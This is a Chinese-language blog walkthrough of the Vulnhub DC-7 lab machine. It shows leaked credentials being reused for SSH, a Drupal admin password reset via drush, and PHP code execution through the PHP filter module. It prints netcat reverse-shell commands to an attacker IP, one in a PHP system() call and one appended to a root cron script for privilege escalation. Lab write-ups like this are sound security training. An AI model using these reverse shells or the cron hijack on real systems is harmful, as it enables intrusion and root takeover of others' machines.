首页 > 其他分享 >Vulnhub | DC-7

Vulnhub | DC-7

时间:2022-08-27 17:12:29浏览次数:74  
标签:Web PHP admin DC shell Vulnhub drush password

主机发现

信息搜集

开放80,22端口

 

访问Web页面,熟悉的CMS

有个搜索框,尝试了半天无果,自习看一下页面内容

提示大概意思是说要用一些非常规的思路

最后发现是在下面有一个用户名

搜一下这个用户名,找到了他的Github

 

然后找到了源代码,直接下载下来。

这个属于是源码泄露了

信息利用

在config.php下找到以下

 

<?php
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = mysqli_connect($servername, $username, $password, $dbname);
?>

登录后台失败了,那结合之前信息搜集的只开了22和80端口,尝试一下SSH登录

登录成功了,尝试提权发现不太行

ls-la下有一个“mbox”

cat mbox查看一下,发现一个计划任务

查看计划任务

然后查一下其中这个drush命令是什么含义

drush是一个命令行工具,旨在帮助您从终端上使用 Drupal

那么我们就可以利用这条命令来修改web后台的管理员账户密码

drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin  123456为我修改的密码。
drush user-password admin --password="123456" 

接着回到Web站点,登录成功

Web渗透

因为之前打过其他系列的,后台有一个以PHP保存的模式,但是找了半天没找到

查了一下是需要自己动手安装一个PHP环境

 

选择从URL安装,输入以下:

https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

在搜索框搜PHP,勾上点安装

来到编辑页面就会发现

写一个phpinfo试一试

<?php phpinfo();?>

 

 

OK

反弹shell

<?php system('nc -e /bin/bash 192.168.0.102 9002')?>

提权

交互shell

python -c "import pty;pty.spawn('/bin/bash')"

去计划任务里面写一个反弹shell命令(因为计划任务是以root权限运行的,所以直接反弹回来就是root权限)

/opt/scripts/backups.sh

echo "nc 192.168.0.102 9003 -e /bin/bash" >> /opt/scripts/backups.sh

我这里写错了一条,不过没关系

接着就一直等吧,需要等挺久的

 

 

 

 

标签:Web,PHP,admin,DC,shell,Vulnhub,drush,password
From: https://www.cnblogs.com/mlxwl/p/16630924.html

相关文章

  • Vulnhub | DC-8
    信息搜集通过寻找真实IP和端口扫描发现开放22和80端口访问页面,发现是和DC1的cms一样   漏洞发现-SQL注入点击选项时,发现url后加了“nid=1”加个',发现数据......
  • flink cdc 使用
    flinkcdc使用目前cdc产品非常多,目前我使用canal,flinkcdc(集成debezium)二者对比相对来说flinkcdc更加强大,功能很多但是有很多坑,迭代速度很快,借助flink......
  • 四大组件之广播接收者BroadcastReceiver
    参考:Android开发基础之广播接收者BroadcastReceiver什么是广播接收者?我们小时候都知道,听广播,收听广播!什么是收听广播呢?打开收音机,调频就可以收到对应的广播节目了。其实......
  • flutter系列之:构建Widget的上下文环境BuildContext详解
    目录简介BuildContext的本质BuildContext和InheritedWidgetBuildContext的层级关系总结简介我们知道Flutter中有两种Widget,分别是StatelessWidget和StatefulWidget,Statel......
  • Caused by: java.lang.UnsupportedClassVersionError: com/hfplm/handler/HFEBOMation
    Causedby:java.lang.UnsupportedClassVersionError:com/hfplm/handler/HFEBOMationHandlerhasbeencompiledbyamorerecentversionoftheJavaRuntime(classf......
  • ica:1-vulnhub靶场
    环境信息靶机:192.168.124.149攻击机:192.168.124.129打靶过程nmap扫描端口及服务发现开放22,80,3306,33060端口访问80端口是一个登录页面,且发现使用了qdpm项目管......
  • 累加器的高级使用--实现wordcount
    HighWordCountAccumulator.scalapackageaccumulatorimportorg.apache.spark.util.AccumulatorV2importscala.collection.mutable/*继承AccumulatorV2类,传递......
  • Vulnhub | DC-6
    信息搜集主机发现、端口扫描 访问80端口,域名自动解析‘wordy’在本地和kali的hosts文件写入192.168.0.141wordyWeb渗透后台爆破 用了wordpress的cms用Ka......
  • [Express] Extends CrudController with Mongoose model
    Eachmodelcontroller:import{crudControllers}from'../../utils/crud'import{Item}from'./item.model'exportdefaultcrudControllers(Item)Youareabl......
  • Chapter8. 单bit信号跨时钟域同步CDC
    Chapter8.单bit信号跨时钟域同步CDC本章导图单bit信号慢到快传输对于电平信号快到慢由于电平信号高电平时间足够长,因此直接打两拍避免亚稳态是可以的。对于边沿信号......